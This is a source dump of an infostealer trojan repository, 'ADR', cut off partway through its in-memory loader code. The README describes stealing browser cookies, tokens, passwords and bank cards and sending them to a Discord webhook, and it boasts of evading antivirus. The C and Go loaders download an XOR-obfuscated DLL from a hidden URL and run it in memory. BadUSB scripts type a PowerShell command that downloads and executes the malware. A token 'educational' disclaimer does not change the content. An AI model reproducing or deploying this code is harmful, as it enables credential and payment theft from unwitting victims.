├── .gitignore
├── ADR.bin
├── ADR.sln
├── README.md
├── encode.py
├── goloader
├── build.bat
├── go.mod
└── main.go
├── loader
├── loader.vcxproj
├── loader.vcxproj.filters
├── loader.vcxproj.user
├── main.c
├── mem
│ ├── memod.c
│ └── memod.h
└── utils.h
├── packer.py
├── payload
├── b64
│ ├── b64.c
│ └── b64.h
├── ffs
│ ├── linear.c
│ └── linear.h
├── main.c
├── pack
│ ├── pack.c
│ └── pack.h
├── payload.vcxproj
├── payload.vcxproj.filters
├── payload.vcxproj.user
├── stdafx.h
├── utils.c
└── utils.h
└── unpacker
├── main.c
├── sock
├── sock.c
└── sock.h
├── stdafx.h
├── unpack
├── unpack.c
└── unpack.h
├── unpacker.filters
├── unpacker.user
├── unpacker.vcxproj
└── unpacker.vcxproj.user
/.gitignore:
--------------------------------------------------------------------------------
1 | /.vs
2 | /.vscode
3 | /x64
4 | /Release
5 | /Debug
6 |
7 | /loader/x64
8 | /payload/x64
9 | /unpacker/x64
10 |
11 | *.exe
--------------------------------------------------------------------------------
/ADR.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/julesgrc0/ADR/b018f38182585c86e66b7715b4793b634ebfc34a/ADR.bin
--------------------------------------------------------------------------------
/ADR.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.6.33815.320
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "payload", "payload\payload.vcxproj", "{300537B1-6233-47EA-BAFB-F66E24A26373}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "loader\loader.vcxproj", "{47A25010-E7D8-4630-8A6D-76778C8EB6F2}"
9 | EndProject
10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "unpacker", "unpacker\unpacker.vcxproj", "{E961312C-2568-49C1-8FC2-21D5CCF46256}"
11 | EndProject
12 | Global
13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
14 | Debug|x64 = Debug|x64
15 | Debug|x86 = Debug|x86
16 | DebugExe|x64 = DebugExe|x64
17 | DebugExe|x86 = DebugExe|x86
18 | Release|x64 = Release|x64
19 | Release|x86 = Release|x86
20 | EndGlobalSection
21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
22 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Debug|x64.ActiveCfg = Debug|x64
23 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Debug|x64.Build.0 = Debug|x64
24 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Debug|x86.ActiveCfg = Debug|Win32
25 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Debug|x86.Build.0 = Debug|Win32
26 | {300537B1-6233-47EA-BAFB-F66E24A26373}.DebugExe|x64.ActiveCfg = DebugExe|x64
27 | {300537B1-6233-47EA-BAFB-F66E24A26373}.DebugExe|x64.Build.0 = DebugExe|x64
28 | {300537B1-6233-47EA-BAFB-F66E24A26373}.DebugExe|x86.ActiveCfg = DebugExe|Win32
29 | {300537B1-6233-47EA-BAFB-F66E24A26373}.DebugExe|x86.Build.0 = DebugExe|Win32
30 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Release|x64.ActiveCfg = Release|x64
31 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Release|x64.Build.0 = Release|x64
32 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Release|x86.ActiveCfg = Release|Win32
33 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Release|x86.Build.0 = Release|Win32
34 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Debug|x64.ActiveCfg = Debug|x64
35 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Debug|x64.Build.0 = Debug|x64
36 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Debug|x86.ActiveCfg = Debug|Win32
37 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Debug|x86.Build.0 = Debug|Win32
38 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.DebugExe|x64.ActiveCfg = DebugExe|x64
39 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.DebugExe|x64.Build.0 = DebugExe|x64
40 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.DebugExe|x86.ActiveCfg = DebugExe|Win32
41 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.DebugExe|x86.Build.0 = DebugExe|Win32
42 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Release|x64.ActiveCfg = Release|x64
43 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Release|x64.Build.0 = Release|x64
44 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Release|x86.ActiveCfg = Release|Win32
45 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Release|x86.Build.0 = Release|Win32
46 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Debug|x64.ActiveCfg = Debug|x64
47 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Debug|x64.Build.0 = Debug|x64
48 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Debug|x86.ActiveCfg = Debug|Win32
49 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Debug|x86.Build.0 = Debug|Win32
50 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.DebugExe|x64.ActiveCfg = Debug|x64
51 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.DebugExe|x64.Build.0 = Debug|x64
52 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.DebugExe|x86.ActiveCfg = Debug|Win32
53 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.DebugExe|x86.Build.0 = Debug|Win32
54 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Release|x64.ActiveCfg = Release|x64
55 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Release|x64.Build.0 = Release|x64
56 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Release|x86.ActiveCfg = Release|Win32
57 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Release|x86.Build.0 = Release|Win32
58 | EndGlobalSection
59 | GlobalSection(SolutionProperties) = preSolution
60 | HideSolutionNode = FALSE
61 | EndGlobalSection
62 | GlobalSection(ExtensibilityGlobals) = postSolution
63 | SolutionGuid = {BAE24FC4-161C-4A39-BC33-868463AA84C6}
64 | EndGlobalSection
65 | EndGlobal
66 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ADR 💥
2 |
3 | ADR is a trojan that retrieves all information on the computer and all data stored in applications using chormium. It recovers cookies, tokens, passwords and saved bank cards. This malware is undetectable by Windows Defender, Chrome, Virustotal (~8/72).
4 |
5 | > ⚠️ This project has a strictly educational objective. It aims to provide information, advice and resources in an educational context. I want to emphasize that I do not support or encourage any malicious or damaging use of this information. Any negative or abusive interpretation goes against the educational intent of this project. As the creator of this content, I accept no responsibility for any misuse that may arise from its use.
6 |
7 |
8 | ## loader
9 |
10 | The loader is the entry program that will load ADR (the DLL that contains the malware).
11 | The loader downloads the DLL online, this DLL is encrypted in XOR so as not to be detected by the antivirus. The DLL is then decoded and then injected into the memory of the process to execute the "main" function.
12 |
13 | - download the DLL encode in XOR
14 | - decode the XOR
15 | - loading the DLL into memory (without using LoadLibraryA)
16 | - execution of the "main" function of the ADR malware
17 |
18 | The loader uses a few tricks to avoid being detected by anti-viruses, in particular:
19 |
20 | - hiding suspicious functions using LoadLibrary and GetProcAddress (so imports are hidden and not visible in the executable)
21 | - the masking of character strings, the url at which the payload is located, encrypt in XOR so as not to be readable in the executable directly
22 | - optimization of compiler parameters and compression with UPX
23 | - to make it possible to hide the imports even more, if we do not have an executable heavier in KB, we can change the Runtime Library. Indeed, switching from Multi-threaded DLL mode (/MD) to Multi-threaded mode (/MT) hides all imports (with UPX). However, it takes about 40 KB more than the Multi-threaded DLL version.
24 |
25 | ## payload
26 |
27 | The payload is compiled in DLL, encoded in XOR, then uploaded to a server to be loaded later by the loader.
28 | the main function is the entry point of the malware, this function aims to:
29 |
30 | - scan Windows AppData folder for folder using Chromium file structure
31 | - recover all cookies, tokens, passwords, local state, credit card, history and autocompletion
32 | - find all the information on the machine used
33 | - MAC Address
34 | - Public IP
35 | - Processor
36 | - Architecture
37 | - Storage
38 | - Local Time
39 | - Language
40 | - Machine Name
41 | - all this data is then compressed into a Zip file which will be sent to a discord webhook (obviously this data can be sent to any public server or webhook).
42 |
43 | ## go loader
44 |
45 | go loader is the Golang version of the loader. With this version we reached the score of 4/71 detection on virustotal. This results and largely due to the obfuscator: garble, which allowed this incredible result. The golang code does not change much from the C version, loading the DLL into memory reuses the C code from the loader and is compiled with CGO.
46 |
47 | > why no compression with UPX?
48 |
49 | gARD will not decompress with UPX because it is much more detectable with compression enabled. The goloader.exe pyaload is therefore heavier (5 MB).
50 |
51 | > Compile with Garble
52 |
53 | ```cmd
54 | @REM install it: go install mvdan.cc/garble@latest
55 | @REM build:
56 |
57 | build.bat
58 | ```
59 |
60 | ## AntiVirus Detection
61 |
62 | | Name | ✅ | ❌ | ❔ |
63 | | :-----------: | :------------------------------------------------: | :------------------------------------------------: | :-------------------: |
64 | | payload (xor) | Windows Defender, Chrome AV, Manalyzer, Virustotal | | |
65 | | pyload (dll) | - | Virustotal, Windows Defender, Chrome AV, Manalyzer | - |
66 | | loader (exe) | Windows Defender, Chrome AV | - | Virustotal, Manalyzer |
67 | | loader (go) | Windows Defender, Chrome AV | Virustotal,Manalyzer | - |
68 |
69 | ## UPX Compression
70 |
71 | ADR files are compressed with UPX to reduce the size of the payload.
72 |
73 | | Name | Runtime Lib | Size | Compressed Size |
74 | | :----------: | :---------: | :----: | :-------------: |
75 | | pyload (dll) | /MD | 15 ko | 10 ko |
76 | | loader (exe) | /MT | 114 ko | 54 ko |
77 | | loader (exe) | /MD | 17 ko | 10.5 ko |
78 |
79 |
80 |
81 | ## Bonus BadUSB
82 |
83 | **Digispark Rev.3 Kickstarter with Attiny85 and USB compatible with Arduino**
84 |
85 | You can buy it [here](https://www.az-delivery.de/en/products/digispark-board).
86 |
87 | > DuckyScript
88 |
89 | ```
90 | DELAY 1000
91 | GUI r
92 | DELAY 200
93 | STRING powershell -command "(New-Object Net.WebClient).DownloadFile('https://github.com/julesgrc0/ADR/releases/download/0.0.3/bADR.exe','%userprofile%\ADR.exe');(New-Object -com shell.application).shellexecute('%userprofile%\ADR.exe');exit"
94 | ENTER
95 | ```
96 |
97 | > Arduino C/C++ Code
98 |
99 | ```cpp
100 | #include "Keyboard.h"
101 |
102 | void typeKey(uint8_t key)
103 | {
104 | Keyboard.press(key);
105 | delay(50);
106 | Keyboard.release(key);
107 | }
108 |
109 |
110 | void setup()
111 | {
112 | Keyboard.begin();
113 | delay(500);
114 |
115 | delay(1000);
116 | Keyboard.press(KEY_LEFT_GUI);
117 | Keyboard.press('r');
118 | Keyboard.releaseAll();
119 |
120 | delay(200);
121 | Keyboard.print(F("powershell -command \"(New-Object Net.WebClient).DownloadFile('https://github.com/julesgrc0/ADR/releases/download/0.0.3/bADR.exe','%userprofile%\\ADR.exe');(New-Object -com shell.application).shellexecute('%userprofile%\\ADR.exe');exit\""));
122 |
123 | typeKey(KEY_RETURN);
124 |
125 | Keyboard.end();
126 | }
127 |
128 | void loop() {}
129 | ```
130 |
--------------------------------------------------------------------------------
/encode.py:
--------------------------------------------------------------------------------
1 | import base64
2 | import sys
3 | import os
4 |
5 | def b64(inpath: str) -> None:
6 | key = "=ADR=".encode("utf-8")
7 | outpath = os.path.dirname(inpath) + "\\ADR.b64"
8 | print(f"{inpath} => {outpath}")
9 |
10 | with open(inpath,"rb") as file:
11 | data = base64.encodebytes(file.read())
12 | file.close()
13 |
14 | with open(outpath, "wb") as file:
15 | file.write(key)
16 | file.write(data)
17 | file.close()
18 |
19 | def bin(inpath: str) -> None:
20 | key = ord('A')
21 | outpath = os.path.dirname(inpath) + "\\ADR.bin"
22 | print(f"{inpath} => {outpath}")
23 |
24 | with open(inpath,"rb") as file:
25 | encoded = bytearray()
26 | for c in file.read():
27 | encoded.append(c ^ key)
28 |
29 | with open(outpath, "wb") as file:
30 | file.write(encoded)
31 | file.close()
32 |
33 | def xor_str(data: str, key: str):
34 | encoded = ''.join([chr(ord(char) ^ ord(key)) for char in data])
35 | for char in encoded:
36 | hex_value = hex(ord(char))[2:].zfill(2)
37 | print(f"0x{hex_value}", end=', ')
38 |
39 | def main(args: list[str]) -> int:
40 | if len(args) < 1:
41 | return 1
42 |
43 | inpath = sys.argv[1]
44 | if not os.path.exists(inpath):
45 | xor_str(inpath, 'A')
46 | return 1
47 |
48 | # b64(inpath)
49 | bin(inpath)
50 |
51 | return 0
52 |
53 | if __name__ == "__main__":
54 | sys.exit(main(sys.argv[1:]))
--------------------------------------------------------------------------------
/goloader/build.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | @REM && upx --best main.exe
3 |
4 | if exist goloader.exe (
5 | del goloader.exe
6 | )
7 | garble build -ldflags "-s -w" main && rename main.exe goloader.exe
--------------------------------------------------------------------------------
/goloader/go.mod:
--------------------------------------------------------------------------------
1 | module main
2 | go 1.21.0
--------------------------------------------------------------------------------
/goloader/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | // #cgo CFLAGS: -I"../loader/mem/"
4 | // #cgo LDFLAGS: -L"../loader/mem/"
5 | // #include "memod.h"
6 | import "C"
7 |
8 | import (
9 | "io"
10 | "net/http"
11 | "syscall"
12 | "unsafe"
13 | )
14 |
15 | func DecodeXor(in []byte, key byte) {
16 | for i := 0; i < len(in); i++ {
17 | in[i] ^= key
18 | }
19 | }
20 |
21 | func GetPayload(url string) ([]byte, bool) {
22 | resp, err := http.Get(url)
23 | if err != nil {
24 | return nil, false
25 | }
26 | defer resp.Body.Close()
27 |
28 | payload, err := io.ReadAll(resp.Body)
29 | if err != nil {
30 | return nil, false
31 | }
32 |
33 | return payload, true
34 | }
35 |
36 | func main() {
37 |
38 | xorKey := byte('A')
39 | url := []byte{
40 | 0x29, 0x35, 0x35, 0x31, 0x32, 0x7b, 0x6e, 0x6e, 0x26, 0x28, 0x35, 0x29,
41 | 0x34, 0x23, 0x6f, 0x22, 0x2e, 0x2c, 0x6e, 0x2b, 0x34, 0x2d, 0x24,
42 | 0x32, 0x26, 0x33, 0x22, 0x71, 0x6e, 0x00, 0x05, 0x13, 0x6e, 0x33,
43 | 0x20, 0x36, 0x6e, 0x2c, 0x20, 0x28, 0x2f, 0x6e, 0x00, 0x05, 0x13,
44 | 0x6f, 0x23, 0x28, 0x2f,
45 | }
46 |
47 | DecodeXor(url, xorKey)
48 | payload, result := GetPayload(string(url))
49 | if !result {
50 | return
51 | }
52 |
53 | DecodeXor(payload, xorKey)
54 | handle := C.MemoryLoadLibrary(unsafe.Pointer(&payload[0]), C.ulonglong(len(payload)))
55 | if handle == nil {
56 | return
57 | }
58 |
59 | cname := C.CString("main")
60 | defer C.free(unsafe.Pointer(cname))
61 |
62 | addr := unsafe.Pointer(C.MemoryGetProcAddress(handle, cname))
63 | syscall.SyscallN(uintptr(addr), uintptr(0), 0, 0, 0)
64 |
65 | C.MemoryFreeLibrary(handle)
66 |
67 | if addr == nil {
68 | return
69 | }
70 | return
71 | }
72 |
--------------------------------------------------------------------------------
/loader/loader.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | DebugExe
6 | Win32
7 |
8 |
9 | DebugExe
10 | x64
11 |
12 |
13 | Debug
14 | Win32
15 |
16 |
17 | Release
18 | Win32
19 |
20 |
21 | Debug
22 | x64
23 |
24 |
25 | Release
26 | x64
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 | 16.0
39 | Win32Proj
40 | {47a25010-e7d8-4630-8a6d-76778c8eb6f2}
41 | bADR
42 | 10.0
43 | loader
44 |
45 |
46 |
47 | Application
48 | true
49 | v143
50 | Unicode
51 |
52 |
53 | Application
54 | true
55 | v143
56 | Unicode
57 |
58 |
59 | Application
60 | false
61 | v143
62 | true
63 | Unicode
64 |
65 |
66 | Application
67 | true
68 | v143
69 | Unicode
70 |
71 |
72 | Application
73 | true
74 | v143
75 | Unicode
76 |
77 |
78 | Application
79 | false
80 | v143
81 | true
82 | Unicode
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | false
110 |
111 |
112 | true
113 |
114 |
115 | true
116 |
117 |
118 | true
119 |
120 |
121 | true
122 |
123 |
124 | true
125 |
126 |
127 | false
128 |
129 |
130 | false
131 | false
132 | false
133 |
134 |
135 |
136 | Level3
137 | true
138 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
139 | true
140 | stdcpplatest
141 | stdc17
142 |
143 |
144 | Windows
145 | true
146 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;$(CoreLibraryDependencies);%(AdditionalDependencies)
147 |
148 |
149 |
150 |
151 | Level3
152 | true
153 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_DEBUG_EXE
154 | true
155 | stdcpplatest
156 | stdc17
157 |
158 |
159 | Windows
160 | true
161 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;$(CoreLibraryDependencies);%(AdditionalDependencies)
162 |
163 |
164 |
165 |
166 | Level3
167 | true
168 | true
169 | true
170 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
171 | true
172 | stdcpplatest
173 | stdc17
174 |
175 |
176 | Windows
177 | true
178 | true
179 | true
180 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;$(CoreLibraryDependencies);%(AdditionalDependencies)
181 |
182 |
183 |
184 |
185 | Level3
186 | true
187 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
188 | true
189 | stdcpplatest
190 | stdc17
191 |
192 |
193 | Windows
194 | true
195 | $(CoreLibraryDependencies);%(AdditionalDependencies)
196 |
197 |
198 |
199 |
200 | Level3
201 | true
202 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_DEBUG_EXE
203 | true
204 | stdcpplatest
205 | stdc17
206 |
207 |
208 | Windows
209 | true
210 | $(CoreLibraryDependencies);%(AdditionalDependencies)
211 |
212 |
213 |
214 |
215 | Level3
216 | true
217 | true
218 | false
219 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions);UPX
220 | false
221 | Default
222 | Default
223 | MinSpace
224 | Disabled
225 | Size
226 | true
227 | true
228 | false
229 | true
230 | None
231 | Sync
232 | None
233 | CompileAsC
234 | true
235 | MultiThreadedDLL
236 |
237 |
238 | Windows
239 | false
240 | true
241 | false
242 | $(CoreLibraryDependencies);%(AdditionalDependencies)
243 | false
244 | PromptImmediately
245 | true
246 | false
247 | false
248 |
249 |
250 | upx --best $(TargetPath) && python $(SolutionDir)packer.py $(TargetPath)
251 |
252 |
253 |
254 |
255 |
256 |
--------------------------------------------------------------------------------
/loader/loader.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 |
26 |
27 | Source Files
28 |
29 |
30 | Source Files
31 |
32 |
33 |
--------------------------------------------------------------------------------
/loader/loader.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | true
5 |
6 |
--------------------------------------------------------------------------------
/loader/main.c:
--------------------------------------------------------------------------------
1 | #define _CRT_SECURE_NO_WARNINGS
2 | #define _CRTDBG_MAP_ALLOC
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #include
10 | #include
11 |
12 | #ifdef _DEBUG or _DEBUG_EXE
13 | #include
14 | #endif // _DEBUG or _DEBUG_EXE
15 |
16 | #include "mem/memod.h"
17 | #include "utils.h"
18 |
19 |
20 | typedef int(CALLBACK* DLL_FUNCTION)();
21 |
22 | #define ADR_XOR_KEY 'A'
23 | #define ADR_XOR_LEN 50
24 | // XOR_SIZE => 50 = 49 + 1 (\0 end of string)
25 |
26 | #define ADR_XOR_URL \
27 | { \
28 | 0x29, 0x35, 0x35, 0x31, 0x32, 0x7b, 0x6e, 0x6e, 0x26, 0x28, 0x35, 0x29, \
29 | 0x34, 0x23, 0x6f, 0x22, 0x2e, 0x2c, 0x6e, 0x2b, 0x34, 0x2d, 0x24, \
30 | 0x32, 0x26, 0x33, 0x22, 0x71, 0x6e, 0x00, 0x05, 0x13, 0x6e, 0x33, \
31 | 0x20, 0x36, 0x6e, 0x2c, 0x20, 0x28, 0x2f, 0x6e, 0x00, 0x05, 0x13, \
32 | 0x6f, 0x23, 0x28, 0x2f, 0x41 \
33 | }
34 | // XOR => https://github.com/julesgrc0/ADR/raw/main/ADR.bin
35 |
36 |
37 |
38 | bool GetPayload(const char* url, char** payload, size_t* payload_size)
39 | {
40 | HINTERNET hInternet = hide_InternetOpenA("ADR", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
41 | if (hInternet == NULL) return false;
42 |
43 | HINTERNET hConnect = hide_InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
44 | if (hConnect == NULL)
45 | {
46 | hide_InternetCloseHandle(hInternet);
47 | return false;
48 | }
49 |
50 | const DWORD bufferSize = 8192;
51 | DWORD bytesRead = 0;
52 | DWORD totalBytesRead = 0;
53 | char* buffer = (char*)malloc(bufferSize);
54 |
55 | if (buffer == NULL)
56 | {
57 | hide_InternetCloseHandle(hConnect);
58 | hide_InternetCloseHandle(hInternet);
59 | return false;
60 | }
61 |
62 | size_t currentOffset = 0;
63 | char* tempPayload = NULL;
64 |
65 | while (hide_InternetReadFile(hConnect, buffer, bufferSize, &bytesRead) && bytesRead > 0)
66 | {
67 | tempPayload = (char*)realloc(tempPayload, totalBytesRead + bytesRead);
68 | if (tempPayload == NULL)
69 | {
70 | free(buffer);
71 | hide_InternetCloseHandle(hConnect);
72 | hide_InternetCloseHandle(hInternet);
73 | return false;
74 | }
75 |
76 | memcpy(tempPayload + currentOffset, buffer, bytesRead);
77 | currentOffset += bytesRead;
78 | totalBytesRead += bytesRead;
79 | }
80 |
81 | free(buffer);
82 | *payload = tempPayload;
83 | *payload_size = totalBytesRead;
84 |
85 | hide_InternetCloseHandle(hConnect);
86 | hide_InternetCloseHandle(hInternet);
87 | return true;
88 | }
89 |
90 | /*
91 | bool SelfDelete()
92 | {
93 | SHELLEXECUTEINFO sei;
94 |
95 | char szModule[MAX_PATH];
96 | char szComspec[MAX_PATH];
97 | char szParams[MAX_PATH];
98 |
99 | if ((GetModuleFileNameA(0, szModule, MAX_PATH) != 0) &&
100 | (GetShortPathNameA(szModule, szModule, MAX_PATH) != 0) &&
101 | (GetEnvironmentVariableA("COMSPEC", szComspec, MAX_PATH) != 0))
102 | {
103 |
104 | strcpy(szParams, "/c del ");
105 | strcat(szParams, szModule);
106 | strcat(szParams, " > nul");
107 |
108 | sei.cbSize = sizeof(sei);
109 | sei.hwnd = 0;
110 | sei.lpVerb = "Open";
111 | sei.lpFile = szComspec;
112 | sei.lpParameters = szParams;
113 | sei.lpDirectory = 0;
114 | sei.nShow = SW_HIDE;
115 | sei.fMask = SEE_MASK_NOCLOSEPROCESS;
116 |
117 | SetPriorityClass(GetCurrentProcess(),
118 | REALTIME_PRIORITY_CLASS);
119 | SetThreadPriority(GetCurrentThread(),
120 | THREAD_PRIORITY_TIME_CRITICAL);
121 |
122 | if (ShellExecuteExA(&sei))
123 | {
124 | SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS);
125 | SetProcessPriorityBoost(sei.hProcess, TRUE);
126 |
127 | SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, szModule, 0);
128 |
129 | return true;
130 | }
131 | else
132 | {
133 | SetPriorityClass(GetCurrentProcess(),
134 | NORMAL_PRIORITY_CLASS);
135 | SetThreadPriority(GetCurrentThread(),
136 | THREAD_PRIORITY_NORMAL);
137 | }
138 | }
139 | return false;
140 | }
141 | */
142 |
143 | int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ char* pCmdLine, _In_ int nCmdShow)
144 | {
145 | #ifdef _DEBUG or _DEBUG_EXE
146 | _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF);
147 |
148 | if (AllocConsole())
149 | {
150 | FILE* fDummy;
151 | freopen_s(&fDummy, "CONOUT$", "w", stdout);
152 | freopen_s(&fDummy, "CONOUT$", "w", stderr);
153 | freopen_s(&fDummy, "CONIN$", "r", stdin);
154 |
155 | fflush(stdout);
156 | fflush(stderr);
157 | fflush(stdin);
158 | }
159 |
160 | FILE* file = fopen("D:\\dev\\repos\\project\\software\\ADR\\x64\\Release\\ADR.bin", "rb");
161 | if (file == NULL) return EXIT_FAILURE;
162 |
163 | fseek(file, 0, SEEK_END);
164 | long payloadSize = ftell(file);
165 | fseek(file, 0, SEEK_SET);
166 |
167 | char* payload = (char*)malloc(payloadSize);
168 | if (payload == NULL)
169 | {
170 | fclose(file);
171 | return EXIT_FAILURE;;
172 | }
173 |
174 | fread(payload, sizeof(char), payloadSize, file);
175 | fclose(file);
176 | #else
177 | char url[ADR_XOR_LEN] = ADR_XOR_URL;
178 | DecodeXor(url, ADR_XOR_LEN, ADR_XOR_KEY);
179 |
180 | char* payload = (char*)malloc(0);
181 | size_t payloadSize = 0;
182 |
183 | if (!GetPayload(url, &payload, &payloadSize)) return EXIT_FAILURE;
184 | #endif // _DEBUG or _DEBUG_EXE
185 |
186 | DecodeXor(payload, payloadSize, ADR_XOR_KEY);
187 |
188 | HMEMORYMODULE handle = MemoryLoadLibrary(payload, payloadSize);
189 | if (!handle) return EXIT_FAILURE;
190 | free(payload);
191 |
192 | DLL_FUNCTION main = (DLL_FUNCTION)MemoryGetProcAddress(handle, "main");
193 | if (!main) return EXIT_FAILURE;
194 |
195 | main();
196 |
197 | MemoryFreeLibrary(handle);
198 |
199 | #ifdef _DEBUG or _DEBUG_EXE
200 | _CrtDumpMemoryLeaks();
201 | #endif // _DEBUG or _DEBUG_EXE
202 |
203 | //SelfDelete();
204 | return EXIT_SUCCESS;
205 | }
--------------------------------------------------------------------------------
/loader/mem/memod.c:
--------------------------------------------------------------------------------
1 | #define _CRT_SECURE_NO_WARNINGS
2 | #include "memod.h"
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #if _MSC_VER
10 | #include "../utils.h"
11 |
12 | #pragma warning(disable : 4055)
13 | #pragma warning(error : 4244)
14 | #pragma warning(error : 4267)
15 | #define inline __inline
16 | #endif
17 |
18 | #ifndef IMAGE_SIZEOF_BASE_RELOCATION
19 | #define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION))
20 | #endif
21 |
22 | #ifdef _WIN64
23 | #define HOST_MACHINE IMAGE_FILE_MACHINE_AMD64
24 | #else
25 | #define HOST_MACHINE IMAGE_FILE_MACHINE_I386
26 | #endif
27 |
28 | struct ExportNameEntry {
29 | LPCSTR name;
30 | WORD idx;
31 | };
32 |
33 | typedef BOOL(WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason,
34 | LPVOID lpReserved);
35 | typedef int(WINAPI *ExeEntryProc)(void);
36 |
37 | #ifdef _WIN64
38 | typedef struct POINTER_LIST {
39 | struct POINTER_LIST *next;
40 | void *address;
41 | } POINTER_LIST;
42 | #endif
43 |
44 | typedef struct {
45 | PIMAGE_NT_HEADERS headers;
46 | unsigned char *codeBase;
47 | HCUSTOMMODULE *modules;
48 | int numModules;
49 | BOOL initialized;
50 | BOOL isDLL;
51 | BOOL isRelocated;
52 | CustomAllocFunc alloc;
53 | CustomFreeFunc free;
54 | CustomLoadLibraryFunc loadLibrary;
55 | CustomGetProcAddressFunc getProcAddress;
56 | CustomFreeLibraryFunc freeLibrary;
57 | struct ExportNameEntry *nameExportsTable;
58 | void *userdata;
59 | ExeEntryProc exeEntry;
60 | DWORD pageSize;
61 | #ifdef _WIN64
62 | POINTER_LIST *blockedMemory;
63 | #endif
64 | } MEMORYMODULE, *PMEMORYMODULE;
65 |
66 | typedef struct {
67 | LPVOID address;
68 | LPVOID alignedAddress;
69 | SIZE_T size;
70 | DWORD characteristics;
71 | BOOL last;
72 | } SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA;
73 |
74 | #define GET_HEADER_DICTIONARY(module, idx) \
75 | &(module)->headers->OptionalHeader.DataDirectory[idx]
76 |
77 | static inline uintptr_t AlignValueDown(uintptr_t value, uintptr_t alignment) {
78 | return value & ~(alignment - 1);
79 | }
80 |
81 | static inline LPVOID AlignAddressDown(LPVOID address, uintptr_t alignment) {
82 | return (LPVOID)AlignValueDown((uintptr_t)address, alignment);
83 | }
84 |
85 | static inline size_t AlignValueUp(size_t value, size_t alignment) {
86 | return (value + alignment - 1) & ~(alignment - 1);
